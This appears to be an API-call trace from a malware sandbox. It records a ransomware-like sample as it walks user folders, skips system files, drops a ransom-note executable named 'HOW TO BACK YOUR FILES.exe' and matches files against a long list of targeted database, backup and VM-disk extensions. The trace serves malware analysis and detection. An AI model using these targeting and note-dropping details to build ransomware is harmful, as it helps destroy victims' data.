	[0054.020] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="Apollon865.txt.exe") returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="windows") returned -1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="bootmgr") returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="temp") returned -1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="pagefile.sys") returned -1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="boot") returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="ids.txt") returned 1
	[0054.020] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="ntuser.dat") returned -1
	[0054.021] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="perflogs") returned -1
	[0054.021] lstrcmpiW (lpString1="ImplicitAppShortcuts", lpString2="MSBuild") returned -1
	[0054.021] lstrlenW (lpString="ImplicitAppShortcuts") returned 20
	[0054.021] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned 87
	[0054.021] lstrcpyW (in: lpString1=0x119e6b4, lpString2="ImplicitAppShortcuts" | out: lpString1="ImplicitAppShortcuts") returned="ImplicitAppShortcuts"
	[0054.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0054.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd6) returned 0x5afa60
	[0054.021] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0054.021] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="Apollon865.txt.exe") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2=".") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="..") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="windows") returned -1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="bootmgr") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="temp") returned -1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="pagefile.sys") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="boot") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="ids.txt") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="ntuser.dat") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="perflogs") returned 1
	[0054.021] lstrcmpiW (lpString1="TaskBar", lpString2="MSBuild") returned 1
	[0054.021] lstrlenW (lpString="TaskBar") returned 7
	[0054.021] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 106
	[0054.021] lstrcpyW (in: lpString1=0x119e6b4, lpString2="TaskBar" | out: lpString1="TaskBar") returned="TaskBar"
	[0054.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0054.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aa638
	[0054.021] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0054.021] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0
	[0054.021] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.021] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0054.022] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
	[0054.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0054.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0054.022] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 93
	[0054.022] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
	[0054.022] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.022] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.022] GetLastError () returned 0x0
	[0054.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.022] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.022] CloseHandle (hObject=0x14c) returned 1
	[0054.023] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.023] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.023] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.023] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.023] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.023] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.023] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.023] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.023] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.023] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.023] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.023] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0054.023] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.023] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0054.023] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0054.023] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0054.023] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0054.023] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0054.023] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0054.024] lstrlenW (lpString="desktop.ini") returned 11
	[0054.024] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned 95
	[0054.024] lstrcpyW (in: lpString1=0x119e6c4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0054.024] lstrlenW (lpString="desktop.ini") returned 11
	[0054.024] lstrlenW (lpString="Apollon865") returned 10
	[0054.024] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0054.024] lstrlenW (lpString=".dll") returned 4
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0054.024] lstrlenW (lpString=".lnk") returned 4
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0054.024] lstrlenW (lpString=".ini") returned 4
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0054.024] lstrlenW (lpString=".sys") returned 4
	[0054.024] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0054.024] lstrlenW (lpString="desktop.ini") returned 11
	[0054.024] lstrlenW (lpString="bak") returned 3
	[0054.024] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0054.024] lstrlenW (lpString="ba_") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0054.025] lstrlenW (lpString="dbb") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0054.025] lstrlenW (lpString="vmdk") returned 4
	[0054.025] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0054.025] lstrlenW (lpString="rar") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0054.025] lstrlenW (lpString="zip") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0054.025] lstrlenW (lpString="tgz") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0054.025] lstrlenW (lpString="vbox") returned 4
	[0054.025] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0054.025] lstrlenW (lpString="vdi") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0054.025] lstrlenW (lpString="vhd") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0054.025] lstrlenW (lpString="vhdx") returned 4
	[0054.025] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0054.025] lstrlenW (lpString="avhd") returned 4
	[0054.025] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0054.025] lstrlenW (lpString="db") returned 2
	[0054.025] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0054.025] lstrlenW (lpString="db2") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0054.025] lstrlenW (lpString="db3") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0054.025] lstrlenW (lpString="dbf") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0054.025] lstrlenW (lpString="mdf") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0054.025] lstrlenW (lpString="mdb") returned 3
	[0054.025] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0054.026] lstrlenW (lpString="sql") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0054.026] lstrlenW (lpString="sqlite") returned 6
	[0054.026] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0054.026] lstrlenW (lpString="sqlite3") returned 7
	[0054.026] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0054.026] lstrlenW (lpString="sqlitedb") returned 8
	[0054.026] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0054.026] lstrlenW (lpString="xml") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0054.026] lstrlenW (lpString="$er") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0054.026] lstrlenW (lpString="4dd") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0054.026] lstrlenW (lpString="4dl") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0054.026] lstrlenW (lpString="^^^") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0054.026] lstrlenW (lpString="abs") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0054.026] lstrlenW (lpString="abx") returned 3
	[0054.026] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0054.026] lstrlenW (lpString="accdb") returned 5
	[0054.026] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0054.026] lstrlenW (lpString="accdc") returned 5
	[0054.026] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0054.026] lstrlenW (lpString="accde") returned 5
	[0054.026] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0054.026] lstrlenW (lpString="accdr") returned 5
	[0054.026] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0054.026] lstrlenW (lpString="accdt") returned 5
	[0054.026] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0054.026] lstrlenW (lpString="accdw") returned 5
	[0054.026] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0054.026] lstrlenW (lpString="accft") returned 5
	[0054.027] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0054.027] lstrlenW (lpString="adb") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0054.027] lstrlenW (lpString="adb") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0054.027] lstrlenW (lpString="ade") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0054.027] lstrlenW (lpString="adf") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0054.027] lstrlenW (lpString="adn") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0054.027] lstrlenW (lpString="adp") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0054.027] lstrlenW (lpString="alf") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0054.027] lstrlenW (lpString="ask") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0054.027] lstrlenW (lpString="btr") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0054.027] lstrlenW (lpString="cat") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0054.027] lstrlenW (lpString="cdb") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0054.027] lstrlenW (lpString="ckp") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0054.027] lstrlenW (lpString="cma") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0054.027] lstrlenW (lpString="cpd") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0054.027] lstrlenW (lpString="dacpac") returned 6
	[0054.027] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0054.027] lstrlenW (lpString="dad") returned 3
	[0054.027] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0054.027] lstrlenW (lpString="dadiagrams") returned 10
	[0054.027] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0054.027] lstrlenW (lpString="daschema") returned 8
	[0054.028] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0054.028] lstrlenW (lpString="db-journal") returned 10
	[0054.028] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0054.028] lstrlenW (lpString="db-shm") returned 6
	[0054.028] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0054.028] lstrlenW (lpString="db-wal") returned 6
	[0054.028] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0054.028] lstrlenW (lpString="dbc") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0054.028] lstrlenW (lpString="dbs") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0054.028] lstrlenW (lpString="dbt") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0054.028] lstrlenW (lpString="dbv") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0054.028] lstrlenW (lpString="dbx") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0054.028] lstrlenW (lpString="dcb") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0054.028] lstrlenW (lpString="dct") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0054.028] lstrlenW (lpString="dcx") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0054.028] lstrlenW (lpString="ddl") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0054.028] lstrlenW (lpString="dlis") returned 4
	[0054.028] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0054.028] lstrlenW (lpString="dp1") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0054.028] lstrlenW (lpString="dqy") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0054.028] lstrlenW (lpString="dsk") returned 3
	[0054.028] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0054.028] lstrlenW (lpString="dsn") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0054.029] lstrlenW (lpString="dtsx") returned 4
	[0054.029] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0054.029] lstrlenW (lpString="dxl") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0054.029] lstrlenW (lpString="eco") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0054.029] lstrlenW (lpString="ecx") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0054.029] lstrlenW (lpString="edb") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0054.029] lstrlenW (lpString="epim") returned 4
	[0054.029] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0054.029] lstrlenW (lpString="fcd") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0054.029] lstrlenW (lpString="fdb") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0054.029] lstrlenW (lpString="fic") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0054.029] lstrlenW (lpString="flexolibrary") returned 12
	[0054.029] lstrlenW (lpString="fm5") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0054.029] lstrlenW (lpString="fmp") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0054.029] lstrlenW (lpString="fmp12") returned 5
	[0054.029] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0054.029] lstrlenW (lpString="fmpsl") returned 5
	[0054.029] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0054.029] lstrlenW (lpString="fol") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0054.029] lstrlenW (lpString="fp3") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0054.029] lstrlenW (lpString="fp4") returned 3
	[0054.029] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0054.030] lstrlenW (lpString="fp5") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0054.030] lstrlenW (lpString="fp7") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0054.030] lstrlenW (lpString="fpt") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0054.030] lstrlenW (lpString="frm") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0054.030] lstrlenW (lpString="gdb") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0054.030] lstrlenW (lpString="gdb") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0054.030] lstrlenW (lpString="grdb") returned 4
	[0054.030] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0054.030] lstrlenW (lpString="gwi") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0054.030] lstrlenW (lpString="hdb") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0054.030] lstrlenW (lpString="his") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0054.030] lstrlenW (lpString="ib") returned 2
	[0054.030] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0054.030] lstrlenW (lpString="idb") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0054.030] lstrlenW (lpString="ihx") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0054.030] lstrlenW (lpString="itdb") returned 4
	[0054.030] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0054.030] lstrlenW (lpString="itw") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0054.030] lstrlenW (lpString="jet") returned 3
	[0054.030] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0054.030] lstrlenW (lpString="jtx") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0054.031] lstrlenW (lpString="kdb") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0054.031] lstrlenW (lpString="kexi") returned 4
	[0054.031] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0054.031] lstrlenW (lpString="kexic") returned 5
	[0054.031] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0054.031] lstrlenW (lpString="kexis") returned 5
	[0054.031] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0054.031] lstrlenW (lpString="lgc") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0054.031] lstrlenW (lpString="lwx") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0054.031] lstrlenW (lpString="maf") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0054.031] lstrlenW (lpString="maq") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0054.031] lstrlenW (lpString="mar") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0054.031] lstrlenW (lpString="marshal") returned 7
	[0054.031] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0054.031] lstrlenW (lpString="mas") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0054.031] lstrlenW (lpString="mav") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0054.031] lstrlenW (lpString="maw") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0054.031] lstrlenW (lpString="mdbhtml") returned 7
	[0054.031] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0054.031] lstrlenW (lpString="mdn") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0054.031] lstrlenW (lpString="mdt") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
